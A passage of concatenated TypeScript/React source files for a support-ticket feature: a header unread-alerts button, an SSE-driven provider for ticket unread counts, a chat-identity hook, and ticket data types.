TicketAlertsButton({ href, onNavigate, disabled, className }: TicketAlertsButtonProps) {\n  const live = useOptionalTicketLive()\n  // Attention-only: no provider, signed out, or nothing unread → no cell.\n  if (!live || !live.authed || live.unreadTotal === 0) return null\n\n  const targetId = live.nextUnreadTicketId\n  const target = targetId ? buildTicketOpenHref(href, targetId) : href\n\n  const handleClick = () => {\n    if (onNavigate) onNavigate(target)\n    else window.location.assign(target)\n  }\n\n  return (\n    <HeaderButton\n      icon={\n        // Glyph inherits HeaderButton's standard cell coloring (secondary at\n        // rest, primary on active) — SAME treatment as the notifications\n        // bell and time-tracker cells. The indication is carried by the\n        // count pill (sidebar count-pill precedent) and by the cell only\n        // existing while updates are unread — never by tinting the glyph.\n        <span className=\"relative inline-flex\">\n          <LifeBuoyIcon className=\"w-6 h-6\" />\n          <UnreadCountBadge count={live.unreadTotal} />\n        </span>\n      }\n      aria-label={`Support tickets — ${live.unreadTotal} unread ${live.unreadTotal === 1 ? 'update' : 'updates'}`}\n      onClick={handleClick}\n      disabled={disabled}\n      className={cn(className)}\n    />\n  )\n}\n\nexport default TicketAlertsButton\n","'use client'\n\n/**\n * TicketLiveProvider — the ONE client home for support-ticket realtime.\n *\n * DOMAIN logic only — connection lifecycle (subscribed-confirm, server\n * retry grace, failed-reconnect pacing, hidden-tab suspend/resume) is\n * owned entirely by the common SSE client (`createSseSubscription`);\n * this provider consumes its consolidated `onConnectedChange` signal.\n *\n * Owns:\n *   - the unread summary — delivered EXCLUSIVELY by the stream\n *     (`ticket-summary` frames on connect + debounced after events) and\n *     by `ticket-read` responses. The client holds NO summary fetch\n *     path: resync-on-(re)connect is served by the SERVER (every\n *     connect pushes a fresh summary);\n *   - query invalidation on events (list + open drawer refresh live);\n *   - `markRead` with local write-through zeroing for 0-latency,\n *     reconciled by the response's server-computed summary;\n *   - the ticket-contract `no-stream` (204) retry policy.\n *\n * There is NO polling anywhere and NO summary endpoint. Hosts whose\n * stream endpoint 404s (terminal) or is absent get no unread indication\n * — the indication IS a realtime feature.\n *\n * Invalidation semantics on events — deliberately `invalidateQueries`,\n * NOT `setQueryData` patches: the ticket hooks run `gcTime: 0`, so\n * there is usually no cache entry to patch, and `TicketsCacheSlot`\n * shape rules apply when there is.\n */\n\nimport React from 'react'\nimport { useQueryClient } from '@tanstack/react-query'\nimport { useChatRuntime } from '../../contexts/chat-runtime-context'\nimport { embedAuthedFetch } from '../../utils/embed-authed-fetch'\nimport {\n  createSseSubscription,\n  type SseSubscription,\n  type SseTransportStatus,\n} from '../../utils/sse-subscription'\nimport { useChatIdentity } from '../chat/hooks/use-chat-identity'\nimport type {\n  TicketMessageStreamData,\n  TicketStreamEvent,\n  TicketUnreadSummary,\n} from './types'\n\n// Ticket realtime is its OWN api surface — deliberately NOT under\n// `/api/chat/agent/*` (that prefix is the chat agent's tool surface;\n// ticket streaming/read-receipts are unrelated to chat).\nconst TICKET_STREAM_ENDPOINT = '/api/tickets/stream'\nconst TICKET_READ_ENDPOINT = '/api/tickets/read'\n\nconst EMPTY_SUMMARY: TicketUnreadSummary = { totalUnread: 0, tickets: {}, latestUnreadAt: {} }\n\n/** ISO stamps can carry mixed timezone offsets (server `+00:00` vs an\n *  optimistic local `Z`) — lexicographic string comparison mis-orders\n *  those, so every stamp comparison goes through parsed epoch ms.\n *  Missing/unparseable stamps sort oldest. */\nconst stampMs = (stamp: string | null | undefined): number => {\n  if (!stamp) return 0\n  const ms = Date.parse(stamp)\n  return Number.isNaN(ms) ? 0 : ms\n}\n\n/** Trailing debounce for event-burst invalidations (an agent pasting 5\n *  messages must not fire 5 list refetches). */\nconst INVALIDATE_DEBOUNCE_MS = 1_500\n\nexport interface TicketLiveContextValue {\n  /** Viewer has a resolved, non-anon chat identity. Surfaces (e.g. the\n   *  header cell) hide themselves when false — computed here so they\n   *  don't each spin up their own identity resolution. */\n  authed: boolean\n  /** Realtime-subscribed (server-confirmed), not merely HTTP-open. */\n  connected: boolean\n  /** Unread total across tickets — drives the header count badge. */\n  unreadTotal: number\n  /** Per-ticket unread counts (missing key = 0) — drives row dots.\n   *  The currently-open ticket is masked to 0. */\n  unreadByTicket: Record<string, number>\n  /** The ticket with the NEWEST unread reply (open ticket excluded) —\n   *  the header cell routes to it via the SSOT deep link\n   *  (`buildTicketOpenHref`). Null when nothing is unread. */\n  nextUnreadTicketId: string | null\n  /** Mark a ticket read: POSTs the receipt, zeroes the ticket locally\n   *  (0-latency), then applies the response's server-computed summary. */\n  markRead: (ticketExternalId: string) => Promise<void>\n  /** Drawer open/close registration — suppresses unread bumps for the\n   *  open ticket and masks it in the derived map. */\n  setOpenTicketId: (ticketExternalId: string | null) => void\n  /** Hint that the viewer just created a ticket — reconnects the stream\n   *  (fresh ownership set + fresh server-pushed summary). */\n  notifyTicketCreated: () => void\n}\n\nconst TicketLiveContext = React.createContext<TicketLiveContextValue | null>(null)\n\nexport function useOptionalTicketLive(): TicketLiveContextValue | null {\n  return React.useContext(TicketLiveContext)\n}\n\nexport function useTicketLive(): TicketLiveContextValue {\n  const ctx = React.useContext(TicketLiveContext)\n  if (!ctx) {\n    throw new Error('useTicketLive must be used within <TicketLiveProvider>')\n  }\n  return ctx\n}\n\nfunction isTicketMessageData(value: unknown): value is TicketMessageStreamData {\n  return (\n    typeof value === 'object' &&\n    value !== null &&\n    typeof (value as TicketMessageStreamData).ticket_external_id === 'string'\n  )\n}\n\nfunction isSummaryData(value: unknown): value is TicketUnreadSummary {\n  return (\n    typeof value === 'object' &&\n    value !== null &&\n    typeof (value as TicketUnreadSummary).totalUnread === 'number' &&\n    typeof (value as TicketUnreadSummary).tickets === 'object'\n  )\n}\n\nexport function TicketLiveProvider({ children }: { children: React.ReactNode }) {\n  const runtime = useChatRuntime()\n  const identity = useChatIdentity()\n  const queryClient = useQueryClient()\n\n  const streamUrl = runtime?.endpoints.ticketStreamUrl ?? TICKET_STREAM_ENDPOINT\n  const readUrl = runtime?.endpoints.ticketReadUrl ?? TICKET_READ_ENDPOINT\n\n  const authed = identity.authTier !== 'anon' && !!identity.user?.email\n\n  const [connected, setConnected] = React.useState(false)\n  // The SINGLE unread source — written ONLY from server-computed\n  // summaries (stream frames + markRead responses) plus the two\n  // 0-latency optimistic writes (event bump, markRead zero), both\n  // reconciled by the next server summary.\n  const [summary, setSummary] = React.useState<TicketUnreadSummary>(EMPTY_SUMMARY)\n  // State + ref for the open drawer: state drives the derived map,\n  // the ref lets stream callbacks read it without re-subscribing.\n  const [openTicketIdState, setOpenTicketIdState] = React.useState<string | null>(null)\n  const openTicketIdRef = React.useRef<string | null>(null)\n\n  // ---- Debounced (trailing) invalidation of ticket queries on events ----\n  const pendingTicketIdsRef = React.useRef<Set<string>>(new Set())\n  const invalidateTimerRef = React.useRef<ReturnType<typeof setTimeout> | null>(null)\n  const flushInvalidations = React.useCallback(() => {\n    invalidateTimerRef.current = null\n    const ids = Array.from(pendingTicketIdsRef.current)\n    pendingTicketIdsRef.current.clear()\n    void queryClient.invalidateQueries({ queryKey: ['tickets'] })\n    for (const id of ids) {\n      void queryClient.invalidateQueries({ queryKey: ['ticket-engagements', id] })\n    }\n  }, [queryClient])\n  const scheduleInvalidation = React.useCallback(\n    (ticketId?: string) => {\n      if (ticketId) pendingTicketIdsRef.current.add(ticketId)\n      if (invalidateTimerRef.current) return\n      invalidateTimerRef.current = setTimeout(flushInvalidations, INVALIDATE_DEBOUNCE_MS)\n    },\n    [flushInvalidations],\n  )\n\n  // ---- Optimistic unread writes (reconciled by server summaries) ----\n  const bumpUnread = React.useCallback((ticketId: string, createdAt?: string | null) => {\n    setSummary((prev) => {\n      const stamp = createdAt ?? new Date().toISOString()\n      const existing = prev.latestUnreadAt[ticketId]\n      return {\n        totalUnread: prev.totalUnread + 1,\n        tickets: { ...prev.tickets, [ticketId]: (prev.tickets[ticketId] ?? 0) + 1 },\n        latestUnreadAt: {\n          ...prev.latestUnreadAt,\n          [ticketId]: existing && stampMs(existing) > stampMs(stamp) ? existing : stamp,\n        },\n      }\n    })\n  }, [])\n\n  const zeroUnread = React.useCallback((ticketId: string) => {\n    setSummary((prev) => {\n      const current = prev.tickets[ticketId] ?? 0\n      if (current === 0) return prev\n      const tickets = { ...prev.tickets }\n      delete tickets[ticketId]\n      const latestUnreadAt = { ...prev.latestUnreadAt }\n      delete latestUnreadAt[ticketId]\n      return { totalUnread: Math.max(0, prev.totalUnread - current), tickets, latestUnreadAt }\n    })\n  }, [])\n\n  // ---- Stream lifecycle (owned by the SSE CLIENT — the provider only\n  // consumes its consolidated signals) ----\n  const subscriptionRef = React.useRef<SseSubscription | null>(null)\n  const noStreamRef = React.useRef(false)\n\n  // Stable handler refs so the subscription effect doesn't churn.\n  const handlersRef = React.useRef<{\n    onEvent: (eventName: string, data: unknown) => void\n    onStatus: (status: SseTransportStatus) => void\n    onConnected: (connected: boolean) => void\n  }>({ onEvent: () => {}, onStatus: () => {}, onConnected: () => {} })\n\n  handlersRef.current.onConnected = (isConnected) => {\n    setConnected(isConnected)\n    if (isConnected) {\n      // Event-gap healing on every (re)connect: the SERVER pushes a\n      // fresh summary; the open drawer refetches through the ACL'd path.\n      const openId = openTicketIdRef.current\n      if (openId) {\n        void queryClient.invalidateQueries({ queryKey: ['ticket-engagements', openId] })\n      }\n    }\n  }\n\n  handlersRef.current.onEvent = (eventName, data) => {\n    if (eventName === 'ticket-summary') {\n      const frame = data as TicketStreamEvent | null\n      if (isSummaryData(frame?.data)) {\n        setSummary({\n          totalUnread: frame.data.totalUnread,\n          tickets: frame.data.tickets ?? {},\n          latestUnreadAt: frame.data.latestUnreadAt ?? {},\n        })\n      }\n      return\n    }\n\n    if (eventName === 'ticket-resync') {\n      // Ownership gained / degraded payload — a fresh ticket-summary\n      // frame follows from the server; refresh the query surfaces.\n      scheduleInvalidation()\n      return\n    }\n\n    if (eventName === 'ticket-status') {\n      // Meaningful ticket-row change (close/reopen/pipeline move). The\n      // server pushes an updated summary right after (closures count as\n      // unread server-side); here we just refresh the query surfaces so\n      // the status badge flips live.\n      const frame = data as TicketStreamEvent | null\n      const ticketId = (frame?.data as { ticket_external_id?: string } | undefined)\n        ?.ticket_external_id\n      scheduleInvalidation(ticketId)\n      return\n    }\n\n    if (eventName === 'ticket-message') {\n      const frame = data as TicketStreamEvent | null\n      const payload = frame?.data\n      if (!isTicketMessageData(payload)) {\n        scheduleInvalidation()\n        return\n      }\n      // Always invalidate (own replies from another tab render live);\n      // bump unread ONLY on the server-stamped predicate, and never for\n      // the ticket whose drawer is open. The server's debounced summary\n      // push reconciles moments later.\n      scheduleInvalidation(payload.ticket_external_id)\n      if (payload.countsAsUnread && payload.ticket_external_id !== openTicketIdRef.current) {\n        bumpUnread(payload.ticket_external_id, payload.hubspot_created_at)\n      }\n    }\n  }\n\n  handlersRef.current.onStatus = (status) => {\n    // The client owns connection lifecycle (confirm timeout, server\n    // retry grace, failed-reconnect pacing, hidden-suspend). The only\n    // transport status with DOMAIN meaning is the ticket contract's\n    // `no-stream` (204 = zero owned tickets): remember it so a domain\n    // signal (own create_ticket, window focus) can retry.\n    if (status === 'open') noStreamRef.current = false\n    if (status === 'no-stream') noStreamRef.current = true\n  }\n\n  // Mount/unmount of the subscription — gated on auth + a usable URL.\n  const streamEnabled = authed && !!streamUrl\n  React.useEffect(() => {\n    if (!streamEnabled) return\n    if (typeof window === 'undefined') return\n\n    subscriptionRef.current = createSseSubscription({\n      url: streamUrl,\n      onEvent: (name, data) => handlersRef.current.onEvent(name, data),\n      onStatusChange: (status) => handlersRef.current.onStatus(status),\n      onConnectedChange: (isConnected) => handlersRef.current.onConnected(isConnected),\n      // Long-lived per-user stream: suspend while hidden (scale relief),\n      // resume + reconnect on visible/online — all inside the client.\n      pauseWhenHidden: true,\n    })\n\n    const retryIfIdle = () => {\n      // After a 204 (no-stream), a focus signal is the retry trigger.\n      if (noStreamRef.current) {\n        noStreamRef.current = false\n        subscriptionRef.current?.reconnectNow()\n      }\n    }\n    window.addEventListener('focus', retryIfIdle)\n\n    return () => {\n      window.removeEventListener('focus', retryIfIdle)\n      if (invalidateTimerRef.current) {\n        clearTimeout(invalidateTimerRef.current)\n        invalidateTimerRef.current = null\n      }\n      subscriptionRef.current?.close()\n      subscriptionRef.current = null\n      setConnected(false)\n      setSummary(EMPTY_SUMMARY)\n    }\n    // handlersRef is stable; streamUrl/auth changes remount the stream.\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, [streamEnabled, streamUrl])\n\n  // ---- Public API ----\n  const markRead = React.useCallback(\n    async (ticketExternalId: string) => {\n      try {\n        const response = await embedAuthedFetch(readUrl, {\n          method: 'POST',\n          body: JSON.stringify({ ticket_id: ticketExternalId }),\n        })\n        if (!response.ok) return\n        // 0-latency local zero, then reconcile with the response's\n        // server-computed summary (THE truth — includes closure\n        // accounting and other tickets).\n        zeroUnread(ticketExternalId)\n        const body = (await response.json().catch(() => null)) as\n          | { summary?: TicketUnreadSummary }\n          | null\n        if (isSummaryData(body?.summary)) {\n          setSummary({\n            totalUnread: body.summary.totalUnread,\n            tickets: body.summary.tickets ?? {},\n            latestUnreadAt: body.summary.latestUnreadAt ?? {},\n          })\n        }\n      } catch {\n        // Non-fatal — the receipt lands on the next markRead; unread\n        // state reconciles via the next server summary push.\n      }\n    },\n    [readUrl, zeroUnread],\n  )\n\n  const setOpenTicketId = React.useCallback((ticketExternalId: string | null) => {\n    openTicketIdRef.current = ticketExternalId\n    setOpenTicketIdState(ticketExternalId)\n  }, [])\n\n  const notifyTicketCreated = React.useCallback(() => {\n    // Fresh connect → fresh ownership set + fresh server summary\n    // (covers both the no-stream 204 wait state and an already-live\n    // stream whose set predates the new ticket).\n    noStreamRef.current = false\n    subscriptionRef.current?.reconnectNow()\n  }, [])\n\n  // Derived unread map — open ticket masked to 0 so a server summary\n  // landing inside the markRead debounce window can't transiently\n  // re-badge it.\n  const value = React.useMemo<TicketLiveContextValue>(() => {\n    let unreadByTicket = summary.tickets\n    let unreadTotal = summary.totalUnread\n    if (openTicketIdState && unreadByTicket[openTicketIdState]) {\n      const masked = unreadByTicket[openTicketIdState]\n      unreadByTicket = { ...unreadByTicket }\n      delete unreadByTicket[openTicketIdState]\n      unreadTotal = Math.max(0, unreadTotal - masked)\n    }\n    // Ticket with the NEWEST unread reply (compared as parsed epoch ms\n    // via `stampMs` — mixed timezone offsets break string ordering) —\n    // header cell routes there. Falls back to any unread key if a\n    // timestamp is missing.\n    let nextUnreadTicketId: string | null = null\n    let nextStampMs = 0\n    for (const id of Object.keys(unreadByTicket)) {\n      const ms = stampMs(summary.latestUnreadAt[id])\n      if (nextUnreadTicketId === null || ms > nextStampMs) {\n        nextUnreadTicketId = id\n        nextStampMs = ms\n      }\n    }\n    return {\n      authed,\n      connected,\n      unreadTotal,\n      unreadByTicket,\n      nextUnreadTicketId,\n      markRead,\n      setOpenTicketId,\n      notifyTicketCreated,\n    }\n  }, [\n    summary,\n    authed,\n    connected,\n    openTicketIdState,\n    markRead,\n    setOpenTicketId,\n    notifyTicketCreated,\n  ])\n\n  return <TicketLiveContext.Provider value={value}>{children}</TicketLiveContext.Provider>\n}\n","'use client'\n\n/**\n * Chat-identity capability hook.\n *\n * Surfaces the `{authTier, source, attachmentsEnabled, user}` bag for\n * the CURRENT chat session so client code can gate UI elements\n * (attachment button, drawer composer, /tickets gate) on chat-side\n * identity tiers WITHOUT sending a chat message first.\n *\n * Server-side parity: the host's identity endpoint (hub default\n * `/api/auth/identity`, override via `runtime.endpoints.identityUrl`)\n * runs the same 3-tier `requireChatAuth` chain the chat itself uses.\n * `attachmentsEnabled` is computed server-side as\n * `authTier !== 'anon' AND isSelfScopedSource(source)` — single\n * source of truth, consumers don't combine the fields themselves.\n *\n * **Implementation: plain `useEffect` + `useState`. NO CLIENT-SIDE\n * CACHE.** Every consumer that needs identity gets it DRILLED IN\n * from a parent that already gates on `identity.user?.email` — the\n * tickets surface uses this pattern in `HelpCenterListAuthed` /\n * `TicketCenterAuthed` / `HelpCenterCreateForm`. A previous attempt\n * to layer TanStack Query on this hook was reverted because:\n *   1. Client caches drift from server truth (empty-state flashes,\n *      stale identity across credential rotations)\n *   2. Drilling identity through props is the explicit data-flow\n *      pattern the rest of the lib uses\n *   3. The fetch is cheap and short — no perf justification for a\n *      cache layer\n *\n * For INDEPENDENT surfaces that can't share identity through props because\n * they live in different React subtrees (e.g. a persistent chat widget in\n * the app shell + a tickets page in the router outlet), mount the optional\n * `<ChatIdentityProvider>` (below) near the embed root. It lifts the SAME\n * resolver into ONE shared resolution for the whole subtree — still no cache\n * (see the provider's own doc), just the drill-from-parent pattern\n * formalized as a provider. Omit it and every consumer self-fetches (the\n * hub's behavior, unchanged).\n *\n * Endpoint URL: read from `useRequiredChatRuntime().endpoints.identityUrl`\n * so embedded apps with their own reverse-proxy topology can override.\n */\n\nimport { createContext, createElement, useContext, useEffect, useState, type ReactNode } from 'react'\nimport { useRequiredChatRuntime } from '../../../contexts/chat-runtime-context'\nimport { embedAuthedFetch } from '../../../utils/embed-authed-fetch'\nimport { getEmbedProxyAuth } from '../../../utils/embed-proxy-auth-storage'\n\n/**\n * Wire-shape for the identity route response. Mirrors the hub's\n * `ChatIdentityResponse` (in `app/api/auth/identity/route.ts`) —\n * kept in sync there. Lib-side declaration so the chat panel can\n * compile without depending on hub-internal types.\n */\nexport interface ChatIdentityResponse {\n  authTier: 'session' | 'bearer-act-as' | 'anon'\n  source: string | null\n  attachmentsEnabled: boolean\n  /** Server-resolved display identity. `null` for anon. Read by the\n   *  chat panel for the greeting first-name — embedders DON'T pass\n   *  user info into the runtime; server is the single source of truth\n   *  so the displayed name always matches the auth tier.\n   *\n   *  All sub-fields are optional and may be `null`. Consumers MUST\n   *  treat missing values as \"use empty string and skip the affected\n   *  UI line\" — never substitute a placeholder. */\n  user: {\n    name: string | null\n    email: string | null\n    /** Optional first name supplied by the identity webservice.\n     *  When set, the chat greeting renders `Hey ${firstName}, I'm Mingo`.\n     *  When absent (null/undefined/empty), the greeting falls back to\n     *  the no-name variant `Hey, I'm Mingo`. */\n    firstName?: string | null\n    /** Optional last name. Currently unused by chat UI; surfaced for\n     *  embedders that want to display the full name elsewhere. */\n    lastName?: string | null\n    /** Optional avatar URL. Validated as https:// server-side. */\n    avatarUrl?: string | null\n  } | null\n}\n\n/** Shape returned by the hook. NEVER throws — loading + error fall\n *  back to anon defaults so consumers can always render synchronously. */\nexport interface ChatIdentitySurface extends ChatIdentityResponse {\n  /** True while the query is in-flight on first mount; consumers that\n   *  show a skeleton spinner can read this. */\n  isLoading: boolean\n}\n\nconst ANON_DEFAULTS: ChatIdentityResponse = {\n  authTier: 'anon',\n  source: null,\n  attachmentsEnabled: false,\n  user: null,\n}\n\n/**\n * Internal resolver — the actual fetch-into-state loop (plain\n * `useEffect` + `useState`, the no-cache contract above). Shared by the\n * standalone `useChatIdentity` hook AND `ChatIdentityProvider`.\n *\n * `enabled === false` short-circuits the fetch. `useChatIdentity` passes\n * `enabled = false` whenever a `ChatIdentityProvider` is already resolving\n * identity above it, so the consumer reads the provider's single resolution\n * instead of issuing the duplicate request we're eliminating. The resolver\n * is still called unconditionally (Rules of Hooks); only its effect bails.\n */\nfunction useResolveChatIdentity(enabled: boolean): ChatIdentitySurface {\n  const runtime = useRequiredChatRuntime()\n  const url = runtime.endpoints.identityUrl\n  // `getEmbedProxyAuth()` reads localStorage every render. If the user\n  // pastes bearer creds mid-session (via the `/debug` creds bar),\n  // their email arrives here and the effect's dep changes → refetch.\n  const proxyEmail = getEmbedProxyAuth()?.email ?? null\n\n  const [data, setData] = useState<ChatIdentityResponse>(ANON_DEFAULTS)\n  // Only \"loading\" if THIS instance will actually fetch. A disabled\n  // consumer (provider present) is never loading — its value comes from\n  // context, not from this idle resolver.\n  const [isLoading, setIsLoading] = useState(enabled)\n\n  useEffect(() => {\n    if (!enabled) return\n    let cancelled = false\n    const ctrl = new AbortController()\n\n    setIsLoading(true)\n    embedAuthedFetch(url, { signal: ctrl.signal })\n      .then(async (resp) => {\n        if (!resp.ok) return ANON_DEFAULTS\n        return (await resp.json()) as ChatIdentityResponse\n      })\n      .then((next) => {\n        if (cancelled) return\n        setData(next)\n        setIsLoading(false)\n      })\n      .catch((err) => {\n        // AbortError on unmount is expected; everything else falls\n        // back to anon defaults so the UI stays consistent.\n        if (cancelled) return\n        if ((err as Error).name !== 'AbortError') {\n          console.warn('[useChatIdentity] fetch failed, falling back to anon:', err)\n        }\n        setData(ANON_DEFAULTS)\n        setIsLoading(false)\n      })\n\n    return () => {\n      cancelled = true\n      ctrl.abort()\n    }\n    // `proxyEmail` in deps → refetch the moment the user pastes creds\n    // (or rotates them) and triggers a re-render. `url` is stable for\n    // the chat session but listed for completeness. `enabled` is stable\n    // per tree (a provider is either mounted above or it isn't).\n  }, [url, proxyEmail, enabled])\n\n  return { ...data, isLoading }\n}\n\n/**\n * Optional shared-identity context. When a `<ChatIdentityProvider>` is\n * mounted above, every `useChatIdentity()` in the subtree reads this ONE\n * resolution. `null` (no provider) → consumers self-resolve, which is the\n * default and exactly what the hub does today (unchanged).\n */\nconst ChatIdentityContext = createContext<ChatIdentitySurface | null>(null)\n\n/**\n * Opt-in identity provider. Resolves the identity capability bag ONCE for\n * its whole subtree and shares it via context.\n *\n * This is the \"drill from a parent\" pattern (above) lifted to a provider —\n * so INDEPENDENT surfaces in different React subtrees (a persistent chat\n * widget in the app shell + a tickets page in the router outlet) share a\n * single `/identity` resolution instead of each fetching their own. It is\n * NOT the reverted client cache: just one lifted `useState`/`useEffect`\n * (the same resolver the standalone hook uses), so it still refetches on\n * credential rotation (`proxyEmail`) and never persists stale identity.\n *\n * Mount once near the embed root, INSIDE your `ChatRuntimeContext.Provider`\n * (the resolver reads `runtime.endpoints.identityUrl`). Omit it and every\n * `useChatIdentity()` self-fetches as before.\n */\nexport function ChatIdentityProvider({\n  children,\n  enabled = true,\n}: {\n  children: ReactNode\n  /** Defer the identity fetch until the host opts in (e.g. only once the chat\n   *  drawer is first opened). While `false`, the provider supplies the anon\n   *  defaults and issues NO request — so a persistent provider mounted in the\n   *  app shell doesn't hit `/auth/identity` on every page while the chat is\n   *  closed. Defaults to `true` so existing mounts are unchanged. */\n  enabled?: boolean\n}) {\n  const identity = useResolveChatIdentity(enabled)\n  // `createElement` (not JSX) keeps this module a `.ts` file alongside the\n  // hook + response types — no `.tsx` rename, no orphaned doc sidecar.\n  return createElement(ChatIdentityContext.Provider, { value: identity }, children)\n}\n\nexport function useChatIdentity(): ChatIdentitySurface {\n  // Read a provider's shared resolution when present; otherwise self-resolve.\n  // The resolver is ALWAYS called (Rules of Hooks) but its fetch is disabled\n  // when a provider supplies identity, so there is no duplicate request — the\n  // provider's value wins.\n  const provided = useContext(ChatIdentityContext)\n  const selfResolved = useResolveChatIdentity(provided === null)\n  return provided ?? selfResolved\n}\n","/**\n * Wire shape of a row returned by `POST /api/chat/agent/find-ticket`.\n * Mirrors the executor's projection at `lib/data/hubspot-tools.ts`\n * (`FIND_TICKET_SELECT` / `FindTicketResult`).\n *\n * Cross-repo duplication is INTENTIONAL: this lib ships independently\n * of the hub, so we can't import `FindTicketResult` from\n * `hubspot-tools.ts` directly. If the server adds a column to\n * `FIND_TICKET_SELECT`, also add it here. The smoke test in §F of the\n * plan covers the happy path; a wire-contract test belongs in the hub.\n *\n * `find-ticket` returns `customer_emails: string[]` (jsonb array), NOT\n * a single `customer_email`. The list is server-self-scoped to the\n * caller's session email; the array is exposed for admin/staff\n * surfaces, which the ticket center doesn't render.\n */\nexport interface TicketData {\n  id: string\n  /** HubSpot ticket id (display number, e.g. \"1234\"). */\n  external_id: string\n  subject: string | null\n  /** Short (≤400 char) HTML-stripped preview of the ticket body —\n   *  used for the list-card subtitle when needed. */\n  preview: string | null\n  /** Longer (≤4k char) sanitized body. INCLUDES every appended\n   *  `content_addendum` comment because the `update_ticket` executor\n   *  reads + re-writes the `content` property server-side with a\n   *  `---` separator. Render this in the drawer's description block\n   *  and the user sees both the original message + every comment they\n   *  (or staff) added. */\n  body: string | null\n  /** Canonical OPEN | CLOSED (HubSpot pipeline derived). */\n  status: string | null\n  /** Human label like \"New\" / \"Working on it\" / \"Waiting on contact\" /\n   *  \"Closed\". Drives the badge text; canonical status drives color. */\n  pipeline_stage_label: string | null\n  clickup_task_id: string | null\n  /** Snapshot of the linked ClickUp delivery task — populated server-side\n   *  via the `clickup_tasks` mirror when `clickup_task_id` is set. Drives\n   *  the \"Linked delivery\" card surface on the ticket drawer (status\n   *  badge + ClickUp deep link). `null` when no link OR the ClickUp row\n   *  was deleted / not yet synced. */\n  clickup: TicketClickupSummary | null\n  priority: string | null\n  customer_emails: string[]\n  customer_company: string | null\n  /** HubSpot contact's display name. Drives the customer attribution\n   *  on the drawer when the viewer is NOT the customer themselves\n   *  (admin browsing / multi-contact second viewer). Conversations\n   *  API messages don't carry per-message sender info on Custom\n   *  Channels, so this is the only reliable source for \"what's the\n   *  customer's name.\" */\n  customer_name: string | null\n  /** HubSpot owner id of the agent assigned to this ticket. Carried as\n   *  raw id for debugging; rendering goes through `assignedOwner`. Null\n   *  when unassigned. */\n  assigned_to: string | null\n  /** Resolved assigned-owner profile — name + email + avatar. Populated\n   *  server-side via `attachOwnerProfiles` which joins through the\n   *  `hubspot_owners` mirror to `profiles` by email. Drives the\n   *  \"Assigned to\" attribution in the drawer header. Null when\n   *  unassigned OR the owner couldn't be resolved (rare — only when\n   *  the agent was deleted from HubSpot between the ticket update and\n   *  the next owners reconcile). */\n  assignedOwner: TicketAssignedOwner | null\n  hubspot_updated_at: string\n}\n\n/** Resolved profile of a ticket's assigned agent — surfaced in the\n *  drawer header. Subset of the server's `MirroredOwnerProfile`\n *  trimmed to just the rendering fields. */\nexport interface TicketAssignedOwner {\n  name: string | null\n  email: string | null\n  avatarUrl: string | null\n}\n\n/** Compact projection of a linked ClickUp task — matches the server's\n *  `ClickupSummary` and aligns with `DeliveryItem` so the linked-card\n *  on a ticket can render through the same `DeliveryRow` primitive used\n *  on `/bug-fixes-and-enhancements`. */\nexport interface TicketClickupSummary {\n  /** ClickUp task external_id (e.g. \"86ad4e022\"). Used as the\n   *  `?focus=<id>` URL param to scroll the public delivery page to\n   *  this row. */\n  external_id: string\n  title: string | null\n  description: string | null\n  /** ClickUp status name — e.g. \"complete\" / \"working\" / \"design approved\"\n   *  / \"waiting for release\". Used as the badge label. */\n  status: string | null\n  /** ClickUp's per-status hex color (e.g. \"#008844\"). Forwarded to the\n   *  badge so colors match the ClickUp board exactly. */\n  status_color: string | null\n  /** Bucket — `'backlog' | 'working' | 'complete' | 'unknown'`. Used as\n   *  a fallback when status_color is missing. */\n  status_category: string | null\n  /** ClickUp custom item label (`'Bug'` / `'Request'`) — drives the\n   *  type badge (\"BUG-FIX\" / \"ENHANCEMENT\"). */\n  task_type: string | null\n  custom_item_id: number | null\n  /** Every ClickUp list the task is associated with. UI joins with \", \". */\n  list_names: string[]\n  /** Unix-ms timestamps so the row's \"ACTIVE X ago\" subtitle uses the\n   *  shared `getRelativeTime()` helper. */\n  date_opened: number | null\n  date_updated: number | null\n  date_closed: number | null\n  /** Direct https://app.clickup.com/t/<id> deep link. Kept on the wire\n   *  for admin surfaces; the customer-facing linked card navigates\n   *  internally instead. */\n  clickup_url: string | null\n  /** Composed server-side via the SAME `buildDevSectionUrl` helper the\n   *  chat-inline delivery card uses. Carries `?search=<id>` so the\n   *  delivery list filters to that single task on landing. */\n  delivery_href: string\n  /** Target platform name for the host's `useNavLink` to decide\n   *  same-tab vs new-tab on cross-platform links. */\n  delivery_target_platform: string\n  /** Release version label set by the delivery team, e.g. \"0.9\" / \"1.0\".\n   *  Shown beside the status when present. */\n  target_version: string | null\n}\n\n/**\n * Optimistic placeholder a `submitTicket` call prepends to the list\n * BEFORE the server roundtrip resolves. Drawer is hidden until the\n * real id arrives. The wrapper destructures `_optimistic` before\n * forwarding to `<ChatTicketItem>` so the DOM doesn't see an unknown\n * prop.\n */\nexport interface OptimisticTicket extends TicketData {\n  _optimistic: true\n}\n\nexport type AnyTicket = TicketData | OptimisticTicket\n\nexport function isOptimistic(t: AnyTicket): t is OptimisticTicket {\n  return (t as OptimisticTicket)._optimistic === true\n}\n\n/**\n * Shape of a single `['tickets', …]` TanStack-Query cache slot.\n * Mirrors `FindTicketResponse` in `hooks/use-tickets-list.ts` — kept\n * here because the cache-mutation call sites in `useTicketActions` and\n * `<HelpCenterList>` would otherwise have to redeclare the shape inline.\n *\n * A 2026-05-29 prod regression (`t.map is not a function` on\n * close/reopen) was caused by assuming the cache held a bare\n * `TicketData[]` instead of this wrapper — every helper that calls\n * `queryClient.setQueriesData` / `getQueriesData` on `['tickets']`\n * MUST type the value through this shape and project / reassemble\n * `tickets` explicitly.\n */\nexport interface TicketsCacheSlot {\n  tickets?: TicketData[]\n  count?: number\n  totalCount?: number\n  page?: number\n  pageSize?: number\n  totalPages?: number\n  scope?: 'self' | 'all'\n}\n\n/**\n * Stable server-side error codes the ticket-action helpers route\n * through `mapTicketActionError`. Anything else is treated as a generic\n * server error.\n *\n * Reply-specific codes (`HUBSPOT_5XX` / `HUBSPOT_400_VALIDATION` /\n * `HUBSPOT_404_THREAD` / `HUBSPOT_REPLY_UNKNOWN`) drive the drawer\n * banner that appears above the composer when a customer reply fails.\n * Distinct from `HUBSPOT_DISCONNECTED` (whole-system) and\n * `TICKET_NOT_FOUND` (terminal-row) — the reply codes are per-attempt\n * + retryable except for `HUBSPOT_404_THREAD`.\n */\nexport type TicketActionErrorCode =\n  | 'PROPOSAL_NOT_CLAIMABLE'\n  | 'TICKET_NOT_FOUND'\n  | 